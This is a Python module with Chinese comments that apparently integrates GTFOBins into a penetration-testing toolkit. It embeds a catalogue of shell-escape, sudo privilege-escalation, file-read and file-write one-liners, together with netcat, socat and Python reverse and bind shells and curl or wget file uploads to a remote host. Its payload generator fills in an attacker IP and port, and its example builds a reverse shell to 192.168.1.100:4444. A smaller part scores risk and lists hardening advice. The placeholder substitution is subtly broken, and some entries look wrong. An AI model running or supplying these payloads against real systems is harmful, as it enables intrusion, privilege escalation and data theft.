#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
GTFOBins Integration Module
GTFOBins数据库集成模块
"""

import os
import re
import json
import requests
from typing import Dict, List, Any, Optional, Set
from pathlib import Path
from .tool_manager import ExternalToolManager

class GTFOBinsIntegration:
    """GTFOBins集成类"""
    
    def __init__(self, tool_manager: ExternalToolManager = None):
        self.tool_manager = tool_manager or ExternalToolManager()
        self.tool_name = "gtfobins"
        self.gtfobins_data = {}
        self.local_db_path = None
        self.online_url = "https://gtfobins.github.io"
        
        # 预定义的GTFOBins数据（核心二进制文件）
        self.core_binaries = {
            "bash": {
                "shell": ["bash"],
                "file-read": ["bash -c 'exec 10<file; cat <&10'"],
                "file-write": ["bash -c 'echo data > file'"],
                "sudo": ["sudo bash"]
            },
            "sh": {
                "shell": ["sh"],
                "file-read": ["sh -c 'exec 10<file; cat <&10'"],
                "file-write": ["sh -c 'echo data > file'"],
                "sudo": ["sudo sh"]
            },
            "python": {
                "shell": ["python -c 'import os; os.system(\"/bin/sh\")'"],
                "file-read": ["python -c 'print(open(\"file\").read())'"],
                "file-write": ["python -c 'open(\"file\",\"w\").write(\"data\")'"],
                "sudo": ["sudo python -c 'import os; os.system(\"/bin/sh\")'"],
                "reverse-shell": ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"IP\",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]
            },
            "python3": {
                "shell": ["python3 -c 'import os; os.system(\"/bin/sh\")'"],
                "file-read": ["python3 -c 'print(open(\"file\").read())'"],
                "file-write": ["python3 -c 'open(\"file\",\"w\").write(\"data\")'"],
                "sudo": ["sudo python3 -c 'import os; os.system(\"/bin/sh\")'"],
                "reverse-shell": ["python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"IP\",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]
            },
            "perl": {
                "shell": ["perl -e 'exec \"/bin/sh\";'"],
                "file-read": ["perl -ne 'print' file"],
                "file-write": ["perl -e 'print \"data\"' > file"],
                "sudo": ["sudo perl -e 'exec \"/bin/sh\";'"]
            },
            "ruby": {
                "shell": ["ruby -e 'exec \"/bin/sh\"'"],
                "file-read": ["ruby -e 'puts File.read(\"file\")'"],
                "file-write": ["ruby -e 'File.write(\"file\", \"data\")'"],
                "sudo": ["sudo ruby -e 'exec \"/bin/sh\"'"]
            },
            "php": {
                "shell": ["php -r 'system(\"/bin/sh\");'"],
                "file-read": ["php -r 'echo file_get_contents(\"file\");'"],
                "file-write": ["php -r 'file_put_contents(\"file\", \"data\");'"],
                "sudo": ["sudo php -r 'system(\"/bin/sh\");'"]
            },
            "node": {
                "shell": ["node -e 'require(\"child_process\").spawn(\"/bin/sh\", {stdio: [0, 1, 2]})'"],
                "file-read": ["node -e 'console.log(require(\"fs\").readFileSync(\"file\", \"utf8\"))'"],
                "file-write": ["node -e 'require(\"fs\").writeFileSync(\"file\", \"data\")'"],
                "sudo": ["sudo node -e 'require(\"child_process\").spawn(\"/bin/sh\", {stdio: [0, 1, 2]})'"]
            },
            "vim": {
                "shell": ["vim -c ':!/bin/sh'"],
                "file-read": ["vim file"],
                "file-write": ["vim file"],
                "sudo": ["sudo vim -c ':!/bin/sh'"]
            },
            "nano": {
                "shell": ["nano -T 4 -c 'exec sh' /etc/passwd"],
                "file-read": ["nano file"],
                "file-write": ["nano file"],
                "sudo": ["sudo nano"]
            },
            "less": {
                "shell": ["less /etc/passwd", "!/bin/sh"],
                "file-read": ["less file"],
                "sudo": ["sudo less /etc/passwd", "!/bin/sh"]
            },
            "more": {
                "shell": ["more /etc/passwd", "!/bin/sh"],
                "file-read": ["more file"],
                "sudo": ["sudo more /etc/passwd", "!/bin/sh"]
            },
            "cat": {
                "file-read": ["cat file"],
                "sudo": ["sudo cat file"]
            },
            "head": {
                "file-read": ["head file"],
                "sudo": ["sudo head file"]
            },
            "tail": {
                "file-read": ["tail file"],
                "sudo": ["sudo tail file"]
            },
            "grep": {
                "file-read": ["grep '' file"],
                "sudo": ["sudo grep '' file"]
            },
            "awk": {
                "shell": ["awk 'BEGIN {system(\"/bin/sh\")}'"],
                "file-read": ["awk '{print}' file"],
                "sudo": ["sudo awk 'BEGIN {system(\"/bin/sh\")}'"]
            },
            "sed": {
                "shell": ["sed -n '1e exec sh 1>&0' /etc/passwd"],
                "file-read": ["sed '' file"],
                "sudo": ["sudo sed -n '1e exec sh 1>&0' /etc/passwd"]
            },
            "find": {
                "shell": ["find . -exec /bin/sh \\; -quit"],
                "file-read": ["find . -name file -exec cat {} \\;"],
                "sudo": ["sudo find . -exec /bin/sh \\; -quit"]
            },
            "wget": {
                "file-download": ["wget http://example.com/file"],
                "file-upload": ["wget --post-file=file http://example.com/"],
                "sudo": ["sudo wget http://example.com/file"]
            },
            "curl": {
                "file-download": ["curl http://example.com/file -o file"],
                "file-upload": ["curl -X POST --data-binary @file http://example.com/"],
                "sudo": ["sudo curl http://example.com/file -o file"]
            },
            "nc": {
                "reverse-shell": ["nc IP PORT -e /bin/sh"],
                "bind-shell": ["nc -l -p PORT -e /bin/sh"],
                "file-transfer": ["nc IP PORT < file", "nc -l -p PORT > file"],
                "sudo": ["sudo nc IP PORT -e /bin/sh"]
            },
            "netcat": {
                "reverse-shell": ["netcat IP PORT -e /bin/sh"],
                "bind-shell": ["netcat -l -p PORT -e /bin/sh"],
                "file-transfer": ["netcat IP PORT < file", "netcat -l -p PORT > file"],
                "sudo": ["sudo netcat IP PORT -e /bin/sh"]
            },
            "socat": {
                "reverse-shell": ["socat tcp-connect:IP:PORT exec:/bin/sh,pty,stderr,setsid,sigint,sane"],
                "bind-shell": ["socat tcp-listen:PORT,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,sane"],
                "file-transfer": ["socat tcp-connect:IP:PORT file:file,create"],
                "sudo": ["sudo socat tcp-connect:IP:PORT exec:/bin/sh,pty,stderr,setsid,sigint,sane"]
            },
            "ssh": {
                "shell": ["ssh user@host"],
                "file-transfer": ["scp file user@host:/path/"],
                "sudo": ["sudo ssh user@host"]
            },
            "tar": {
                "shell": ["tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh"],
                "file-read": ["tar -xf archive.tar file"],
                "sudo": ["sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh"]
            },
            "zip": {
                "file-read": ["zip file.zip file"],
                "sudo": ["sudo zip file.zip file"]
            },
            "unzip": {
                "file-read": ["unzip -p file.zip"],
                "sudo": ["sudo unzip file.zip"]
            },
            "mount": {
                "sudo": ["sudo mount -o bind /bin/sh /bin/mount", "sudo mount"]
            },
            "umount": {
                "sudo": ["sudo umount /path"]
            },
            "systemctl": {
                "sudo": ["sudo systemctl"]
            },
            "service": {
                "sudo": ["sudo service"]
            },
            "crontab": {
                "sudo": ["sudo crontab -e"]
            }
        }
    
    def is_available(self) -> bool:
        """检查GTFOBins数据库是否可用"""
        # 检查本地数据库
        if self.local_db_path and os.path.exists(self.local_db_path):
            return True
        
        # 检查预定义数据
        return len(self.core_binaries) > 0
    
    def ensure_available(self) -> bool:
        """确保GTFOBins数据库可用"""
        if self.is_available():
            return True
        
        print("📥 GTFOBins数据库不可用，正在初始化...")
        
        # 尝试下载最新数据库
        try:
            self._download_gtfobins_data()
        except Exception as e:
            print(f"⚠️ 下载GTFOBins数据失败: {e}")
            print("📦 使用内置数据库")
        
        # 加载预定义数据
        self.gtfobins_data = self.core_binaries.copy()
        
        return True
    
    def _download_gtfobins_data(self):
        """下载GTFOBins数据"""
        # 这里可以实现从GitHub下载最新的GTFOBins数据
        # 由于实际的GTFOBins是一个网站，我们使用预定义的数据
        pass
    
    def search_binary(self, binary_name: str) -> Optional[Dict[str, List[str]]]:
        """搜索二进制文件"""
        if not self.ensure_available():
            return None
        
        # 精确匹配
        if binary_name in self.gtfobins_data:
            return self.gtfobins_data[binary_name]
        
        # 模糊匹配
        matches = {}
        for name, data in self.gtfobins_data.items():
            if binary_name.lower() in name.lower():
                matches[name] = data
        
        return matches if matches else None
    
    def search_by_capability(self, capability: str) -> Dict[str, List[str]]:
        """根据能力搜索二进制文件"""
        if not self.ensure_available():
            return {}
        
        results = {}
        
        for binary_name, capabilities in self.gtfobins_data.items():
            if capability in capabilities:
                if binary_name not in results:
                    results[binary_name] = []
                results[binary_name].extend(capabilities[capability])
        
        return results
    
    def get_all_capabilities(self) -> Set[str]:
        """获取所有可用的能力"""
        if not self.ensure_available():
            return set()
        
        capabilities = set()
        
        for binary_data in self.gtfobins_data.values():
            capabilities.update(binary_data.keys())
        
        return capabilities
    
    def get_available_binaries(self) -> List[str]:
        """获取所有可用的二进制文件"""
        if not self.ensure_available():
            return []
        
        return list(self.gtfobins_data.keys())
    
    def check_system_binaries(self, system_paths: List[str] = None) -> Dict[str, Any]:
        """检查系统中可用的GTFOBins二进制文件"""
        if not self.ensure_available():
            return {"error": "GTFOBins数据库不可用"}
        
        if system_paths is None:
            system_paths = [
                "/bin", "/usr/bin", "/usr/local/bin",
                "/sbin", "/usr/sbin", "/usr/local/sbin"
            ]
        
        available_binaries = {}
        missing_binaries = []
        
        for binary_name in self.gtfobins_data.keys():
            found = False
            binary_path = None
            
            # 检查系统路径
            for path in system_paths:
                full_path = os.path.join(path, binary_name)
                if os.path.exists(full_path) and os.access(full_path, os.X_OK):
                    found = True
                    binary_path = full_path
                    break
            
            # 检查PATH环境变量
            if not found:
                import shutil
                binary_path = shutil.which(binary_name)
                if binary_path:
                    found = True
            
            if found:
                available_binaries[binary_name] = {
                    "path": binary_path,
                    "capabilities": list(self.gtfobins_data[binary_name].keys())
                }
            else:
                missing_binaries.append(binary_name)
        
        return {
            "available_count": len(available_binaries),
            "missing_count": len(missing_binaries),
            "available_binaries": available_binaries,
            "missing_binaries": missing_binaries,
            "coverage_percentage": (len(available_binaries) / len(self.gtfobins_data) * 100) if self.gtfobins_data else 0
        }
    
    def generate_payload(self, binary_name: str, capability: str, 
                        target_file: str = None, ip: str = None, port: int = None) -> List[str]:
        """生成有效载荷"""
        if not self.ensure_available():
            return []
        
        binary_data = self.search_binary(binary_name)
        if not binary_data or capability not in binary_data:
            return []
        
        payloads = []
        
        for template in binary_data[capability]:
            payload = template
            
            # 替换占位符
            if target_file:
                payload = payload.replace("file", target_file)
            
            if ip:
                payload = payload.replace("IP", ip)
            
            if port:
                payload = payload.replace("PORT", str(port))
            
            # 替换数据占位符
            payload = payload.replace("data", "test_data")
            
            payloads.append(payload)
        
        return payloads
    
    def get_privilege_escalation_vectors(self) -> Dict[str, List[str]]:
        """获取权限提升向量"""
        if not self.ensure_available():
            return {}
        
        vectors = {}
        
        for binary_name, capabilities in self.gtfobins_data.items():
            if "sudo" in capabilities:
                vectors[binary_name] = capabilities["sudo"]
        
        return vectors
    
    def get_shell_vectors(self) -> Dict[str, List[str]]:
        """获取Shell向量"""
        if not self.ensure_available():
            return {}
        
        vectors = {}
        
        for binary_name, capabilities in self.gtfobins_data.items():
            if "shell" in capabilities:
                vectors[binary_name] = capabilities["shell"]
        
        return vectors
    
    def get_file_read_vectors(self) -> Dict[str, List[str]]:
        """获取文件读取向量"""
        if not self.ensure_available():
            return {}
        
        vectors = {}
        
        for binary_name, capabilities in self.gtfobins_data.items():
            if "file-read" in capabilities:
                vectors[binary_name] = capabilities["file-read"]
        
        return vectors
    
    def get_file_write_vectors(self) -> Dict[str, List[str]]:
        """获取文件写入向量"""
        if not self.ensure_available():
            return {}
        
        vectors = {}
        
        for binary_name, capabilities in self.gtfobins_data.items():
            if "file-write" in capabilities:
                vectors[binary_name] = capabilities["file-write"]
        
        return vectors
    
    def get_reverse_shell_vectors(self) -> Dict[str, List[str]]:
        """获取反向Shell向量"""
        if not self.ensure_available():
            return {}
        
        vectors = {}
        
        for binary_name, capabilities in self.gtfobins_data.items():
            if "reverse-shell" in capabilities:
                vectors[binary_name] = capabilities["reverse-shell"]
        
        return vectors
    
    def analyze_binary_risks(self, binary_name: str) -> Dict[str, Any]:
        """分析二进制文件风险"""
        if not self.ensure_available():
            return {"error": "GTFOBins数据库不可用"}
        
        binary_data = self.search_binary(binary_name)
        if not binary_data:
            return {"error": f"未找到二进制文件: {binary_name}"}
        
        # 计算风险等级
        risk_scores = {
            "shell": 10,
            "sudo": 9,
            "reverse-shell": 8,
            "bind-shell": 8,
            "file-write": 6,
            "file-upload": 5,
            "file-read": 3,
            "file-download": 2
        }
        
        total_risk = 0
        capabilities = list(binary_data.keys())
        
        for capability in capabilities:
            total_risk += risk_scores.get(capability, 1)
        
        # 确定风险等级
        if total_risk >= 15:
            risk_level = "Critical"
        elif total_risk >= 10:
            risk_level = "High"
        elif total_risk >= 5:
            risk_level = "Medium"
        else:
            risk_level = "Low"
        
        return {
            "binary_name": binary_name,
            "risk_level": risk_level,
            "risk_score": total_risk,
            "capabilities": capabilities,
            "capability_count": len(capabilities),
            "high_risk_capabilities": [cap for cap in capabilities if risk_scores.get(cap, 0) >= 7],
            "recommendations": self._get_security_recommendations(capabilities)
        }
    
    def _get_security_recommendations(self, capabilities: List[str]) -> List[str]:
        """获取安全建议"""
        recommendations = []
        
        if "shell" in capabilities:
            recommendations.append("限制对此二进制文件的访问，因为它可以生成Shell")
        
        if "sudo" in capabilities:
            recommendations.append("检查sudo配置，避免不必要的sudo权限")
        
        if "reverse-shell" in capabilities or "bind-shell" in capabilities:
            recommendations.append("监控网络连接，此二进制文件可用于建立Shell连接")
        
        if "file-write" in capabilities:
            recommendations.append("监控文件写入操作，防止恶意文件创建")
        
        if "file-read" in capabilities:
            recommendations.append("保护敏感文件，防止未授权读取")
        
        return recommendations
    
    def export_database(self, file_path: str, format: str = "json"):
        """导出数据库"""
        if not self.ensure_available():
            print("❌ GTFOBins数据库不可用")
            return False
        
        try:
            if format.lower() == "json":
                with open(file_path, 'w', encoding='utf-8') as f:
                    json.dump(self.gtfobins_data, f, indent=2, ensure_ascii=False)
            
            elif format.lower() == "txt":
                with open(file_path, 'w', encoding='utf-8') as f:
                    f.write("GTFOBins数据库\n")
                    f.write("=" * 50 + "\n\n")
                    
                    for binary_name, capabilities in self.gtfobins_data.items():
                        f.write(f"二进制文件: {binary_name}\n")
                        f.write("-" * 30 + "\n")
                        
                        for capability, payloads in capabilities.items():
                            f.write(f"  能力: {capability}\n")
                            for payload in payloads:
                                f.write(f"    - {payload}\n")
                        f.write("\n")
            
            print(f"📄 数据库已导出到: {file_path}")
            return True
            
        except Exception as e:
            print(f"❌ 导出失败: {e}")
            return False
    
    def get_statistics(self) -> Dict[str, Any]:
        """获取统计信息"""
        if not self.ensure_available():
            return {"error": "GTFOBins数据库不可用"}
        
        total_binaries = len(self.gtfobins_data)
        total_capabilities = len(self.get_all_capabilities())
        
        capability_counts = {}
        for binary_data in self.gtfobins_data.values():
            for capability in binary_data.keys():
                capability_counts[capability] = capability_counts.get(capability, 0) + 1
        
        # 获取最常见的能力
        top_capabilities = sorted(capability_counts.items(), key=lambda x: x[1], reverse=True)[:10]
        
        return {
            "total_binaries": total_binaries,
            "total_capabilities": total_capabilities,
            "capability_distribution": capability_counts,
            "top_capabilities": top_capabilities,
            "average_capabilities_per_binary": sum(len(caps) for caps in self.gtfobins_data.values()) / total_binaries if total_binaries > 0 else 0
        }

# 使用示例
def example_usage():
    """使用示例"""
    # 创建GTFOBins集成实例
    gtfobins = GTFOBinsIntegration()
    
    # 确保数据库可用
    if gtfobins.ensure_available():
        print("✅ GTFOBins数据库已就绪")
    else:
        print("❌ GTFOBins数据库初始化失败")
        return
    
    # 搜索特定二进制文件
    print("\n🔍 搜索python:")
    python_data = gtfobins.search_binary("python")
    if python_data:
        print(f"  找到能力: {list(python_data.keys())}")
    
    # 根据能力搜索
    print("\n🔍 搜索Shell能力:")
    shell_vectors = gtfobins.get_shell_vectors()
    print(f"  找到 {len(shell_vectors)} 个二进制文件具有Shell能力")
    
    # 检查系统二进制文件
    print("\n🔍 检查系统二进制文件:")
    system_check = gtfobins.check_system_binaries()
    print(f"  可用: {system_check['available_count']}")
    print(f"  缺失: {system_check['missing_count']}")
    print(f"  覆盖率: {system_check['coverage_percentage']:.1f}%")
    
    # 生成有效载荷
    print("\n🔍 生成反向Shell载荷:")
    payloads = gtfobins.generate_payload("python", "reverse-shell", ip="192.168.1.100", port=4444)
    for payload in payloads:
        print(f"  - {payload}")
    
    # 分析风险
    print("\n🔍 分析bash风险:")
    risk_analysis = gtfobins.analyze_binary_risks("bash")
    print(f"  风险等级: {risk_analysis['risk_level']}")
    print(f"  风险分数: {risk_analysis['risk_score']}")
    print(f"  能力数量: {risk_analysis['capability_count']}")
    
    # 获取统计信息
    print("\n📊 数据库统计:")
    stats = gtfobins.get_statistics()
    print(f"  总二进制文件: {stats['total_binaries']}")
    print(f"  总能力: {stats['total_capabilities']}")
    print(f"  平均能力/二进制: {stats['average_capabilities_per_binary']:.1f}")
    
    # 导出数据库
    gtfobins.export_database("gtfobins_export.json", "json")

if __name__ == "__main__":
    example_usage()